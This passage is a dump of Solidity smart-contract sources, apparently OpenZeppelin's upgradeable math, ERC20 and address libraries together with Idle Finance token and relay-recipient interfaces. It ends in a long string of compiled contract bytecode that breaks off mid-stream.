uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: Apache-2.0 /** * @title: Idle Token interface * @author: Idle Labs Inc., idle.finance */ pragma solidity 0.6.12; import "./IERC20Permit.sol"; interface IIdleTokenV3_1 is IERC20Detailed { function tokenPrice() external view returns (uint256 price); function token() external view returns (address); function getAPRs() external view returns (address[] memory addresses, uint256[] memory aprs); function mintIdleToken(uint256 _amount, bool _skipRebalance, address _referral) external returns (uint256 mintedTokens); function redeemIdleToken(uint256 _amount) external returns (uint256 redeemedTokens); function redeemInterestBearingTokens(uint256 _amount) external; function rebalance() external returns (bool); function govTokens(uint256 index) external view returns (address); function getGovTokensAmounts(address _usr) external view returns (uint256[] memory _amounts); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; interface IERC20Detailed is IERC20Upgradeable { function name() external view returns(string memory); function decimals() external view returns(uint256); } interface IERC20Nonces is IERC20Detailed { function nonces(address holder) external view returns(uint); } interface IERC20Permit is IERC20Nonces { function permit(address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) external; function permit(address holder, address spender, uint256 value, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external; } // SPDX-License-Identifier:MIT pragma solidity ^0.6.2; /** * a contract must implement this interface in order to support relayed transaction. * It is better to inherit the BaseRelayRecipient as its implementation. */ abstract contract IRelayRecipient { /** * return if the forwarder is trusted to forward relayed transactions to us. * the forwarder is required to verify the sender's signature, and verify * the call is not a replay. */ function isTrustedForwarder(address forwarder) public virtual view returns(bool); /** * return the sender of this call. * if the call came through our trusted forwarder, then the real sender is appended as the last 20 bytes * of the msg.data. * otherwise, return `msg.sender` * should be used in the contract anywhere instead of msg.sender */ // function _msgSender() internal virtual view returns (address payable); function versionRecipient() external virtual view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063682458bd116100975780638456cb59116100665780638456cb59146103835780638da5cb5b1461038b578063eafe1fbd14610393578063f2fde38b146103cb576100f5565b8063682458bd146103305780636f307dc31461036b578063715018a6146103735780637da0a8771461037b576100f5565b8063486ff0cd116100d3578063486ff0cd146101a6578063572b6c05146102235780635c975abb1461026a5780635ed5f4c014610272576100f5565b80632dd60c5e146100fa578063465f72ce1461012b578063485cc9551461016b575b600080fd5b6101026103fe565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610169600480360360c081101561014157600080fd5b5080359060208101359060408101359060ff6060820135169060808101359060a0013561041a565b005b6101696004803603604081101561018157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602001351661056c565b6101ae6108a3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e85781810151838201526020016101d0565b50505050905090810190601f1680156102155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102566004803603602081101561023957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661094f565b604080519115158252519081900360200190f35b610256610970565b6101696004803603604081101561028857600080fd5b8101906020810181356401000000008111156102a357600080fd5b8201836020820111156102b557600080fd5b803590602001918460018302840111640100000000831117156102d757600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050903573ffffffffffffffffffffffffffffffffffffffff16915061097a9050565b6101696004803603604081101561034657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610a7e565b610102610bdf565b610169610bfb565b610102610d12565b610169610d2e565b610102610de0565b610169600480360360a08110156103a957600080fd5b5080359060208101359060ff6040820135169060608101359060800135610dfc565b610169600480360360208110156103e157600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610f45565b60985473ffffffffffffffffffffffffffffffffffffffff1681565b610422610970565b1561048e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015290519081900360640190fd5b60006104986110e7565b609954604080517f8fcbaf0c00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8085166004830152306024830152604482018b9052606482018a90526001608483015260ff891660a483015260c4820188905260e482018790529151939450911691638fcbaf0c916101048082019260009290919082900301818387803b15801561054157600080fd5b505af1158015610555573d6000803e3d6000fd5b505050506105638188611137565b50505050505050565b6000547501000000000000000000000000000000000000000000900460ff16806105995750610599611232565b806105bf575060005474010000000000000000000000000000000000000000900460ff16155b610614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061225e602e913960400191505060405180910390fd5b6000547501000000000000000000000000000000000000000000900460ff161580156106b657600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff90911675010000000000000000000000000000000000000000001716740100000000000000000000000000000000000000001790555b60405180606001604052806024815260200161223a6024913980516106e39160979160209091019061215a565b50600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff851617905561072c611243565b6107346113cf565b609880547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8481169190911791829055604080517ffc0c546a0000000000000000000000000000000000000000000000000000000081529051929091169163fc0c546a91600480820192602092909190829003018186803b1580156107ce57600080fd5b505afa1580156107e2573d6000803e3d6000fd5b505050506040513d60208110156107f857600080fd5b5051609980547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff928316179081905560985461086f9291821691167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611529565b801561089e57600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff1690555b505050565b6097805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f810184900484028201840190925281815292918301828280156109475780601f1061091c57610100808354040283529160200191610947565b820191906000526020600020905b81548152906001019060200180831161092a57829003601f168201915b505050505081565b60005473ffffffffffffffffffffffffffffffffffffffff90811691161490565b60655460ff165b90565b6109826116b7565b73ffffffffffffffffffffffffffffffffffffffff166109a0610de0565b73ffffffffffffffffffffffffffffffffffffffff1614610a2257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b8151610a3590609790602085019061215a565b50600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9290921691909117905550565b610a866116b7565b73ffffffffffffffffffffffffffffffffffffffff16610aa4610de0565b73ffffffffffffffffffffffffffffffffffffffff1614610b2657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610bdb818373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b9157600080fd5b505afa158015610ba5573d6000803e3d6000fd5b505050506040513d6020811015610bbb57600080fd5b505173ffffffffffffffffffffffffffffffffffffffff851691906116bb565b5050565b60995473ffffffffffffffffffffffffffffffffffffffff1681565b610c036116b7565b73ffffffffffffffffffffffffffffffffffffffff16610c21610de0565b73ffffffffffffffffffffffffffffffffffffffff1614610ca357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60335460405160009173ffffffffffffffffffffffffffffffffffffffff16907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3603380547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b610d366116b7565b73ffffffffffffffffffffffffffffffffffffffff16610d54610de0565b73ffffffffffffffffffffffffffffffffffffffff1614610dd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610dde611748565b565b60335473ffffffffffffffffffffffffffffffffffffffff1690565b610e04610970565b15610e7057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015290519081900360640190fd5b6000610e7a6110e7565b609954604080517fd505accf00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8085166004830152306024830152604482018b9052606482018a905260ff8916608483015260a4820188905260c48201879052915193945091169163d505accf9160e48082019260009290919082900301818387803b158015610f1b57600080fd5b505af1158015610f2f573d6000803e3d6000fd5b50505050610f3d8187611137565b505050505050565b610f4d6116b7565b73ffffffffffffffffffffffffffffffffffffffff16610f6b610de0565b73ffffffffffffffffffffffffffffffffffffffff1614610fed57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8116611059576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806121ee6026913960400191505060405180910390fd5b60335460405173ffffffffffffffffffffffffffffffffffffffff8084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3603380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000601836108015906110fe57506110fe3361094f565b1561113057507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffec36013560601c610977565b5033610977565b60995461115c9073ffffffffffffffffffffffffffffffffffffffff1683308461183a565b609854604080517f2befabbf00000000000000000000000000000000000000000000000000000000815260048101849052600160248201526000604482018190529151919273ffffffffffffffffffffffffffffffffffffffff1691632befabbf9160648082019260209290919082900301818787803b1580156111df57600080fd5b505af11580156111f3573d6000803e3d6000fd5b505050506040513d602081101561120957600080fd5b505160985490915061089e9073ffffffffffffffffffffffffffffffffffffffff1684836116bb565b600061123d306118d5565b15905090565b6000547501000000000000000000000000000000000000000000900460ff16806112705750611270611232565b80611296575060005474010000000000000000000000000000000000000000900460ff16155b6112eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061225e602e913960400191505060405180910390fd5b6000547501000000000000000000000000000000000000000000900460ff1615801561138d57600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff90911675010000000000000000000000000000000000000000001716740100000000000000000000000000000000000000001790555b6113956118db565b61139d611a55565b80156113cc57600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff1690555b50565b6000547501000000000000000000000000000000000000000000900460ff16806113fc57506113fc611232565b80611422575060005474010000000000000000000000000000000000000000900460ff16155b611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061225e602e913960400191505060405180910390fd5b6000547501000000000000000000000000000000000000000000900460ff1615801561151957600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff90911675010000000000000000000000000000000000000000001716740100000000000000000000000000000000000000001790555b6115216118db565b61139d611c4d565b8015806115d55750604080517fdd62ed3e00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b1580156115a757600080fd5b505afa1580156115bb573d6000803e3d6000fd5b505050506040513d60208110156115d157600080fd5b5051155b61162a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806122b66036913960400191505060405180910390fd5b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f095ea7b30000000000000000000000000000000000000000000000000000000017905261089e908490611df0565b3390565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb0000000000000000000000000000000000000000000000000000000017905261089e908490611df0565b611750610970565b156117bc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015290519081900360640190fd5b606580547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586118106116b7565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190a1565b6040805173ffffffffffffffffffffffffffffffffffffffff80861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd000000000000000000000000000000000000000000000000000000001790526118cf908590611df0565b50505050565b3b151590565b6000547501000000000000000000000000000000000000000000900460ff16806119085750611908611232565b8061192e575060005474010000000000000000000000000000000000000000900460ff16155b611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061225e602e913960400191505060405180910390fd5b6000547501000000000000000000000000000000000000000000900460ff1615801561139d57600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff909116750100000000000000000000000000000000000000000017167401000000000000000000000000000000000000000017905580156113cc57600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550565b6000547501000000000000000000000000000000000000000000900460ff1680611a825750611a82611232565b80611aa8575060005474010000000000000000000000000000000000000000900460ff16155b611afd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061225e602e913960400191505060405180910390fd5b6000547501000000000000000000000000000000000000000000900460ff16158015611b9f57600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff90911675010000000000000000000000000000000000000000001716740100000000000000000000000000000000000000001790555b6000611ba96116b7565b603380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35080156113cc57600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550565b6000547501000000000000000000000000000000000000000000900460ff1680611c7a5750611c7a611232565b80611ca0575060005474010000000000000000000000000000000000000000900460ff16155b611cf5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061225e602e913960400191505060405180910390fd5b6000547501000000000000000000000000000000000000000000900460ff16158015611d9757600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff90911675010000000000000000000000000000000000000000001716740100000000000000000000000000000000000000001790555b606580547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905580156113cc57600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550565b6060611e52826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16611ec89092919063ffffffff16565b80519091501561089e57808060200190516020811015611e7157600080fd5b505161089e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061228c602a913960400191505060405180910390fd5b6060611ed78484600085611ee1565b90505b9392505050565b606082471015611f3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806122146026913960400191505060405180910390fd5b611f45856118d5565b611fb057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b6020831061201a57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611fdd565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461207c576040519150601f19603f3d011682016040523d82523d6000602084013e612081565b606091505b509150915061209182828661209c565b979650505050505050565b606083156120ab575081611eda565b8251156120bb5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561211f578181015183820152602001612107565b50505050905090810190601f16801561214c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061219b57805160ff19168380011785556121c8565b828001600101855582156121c85791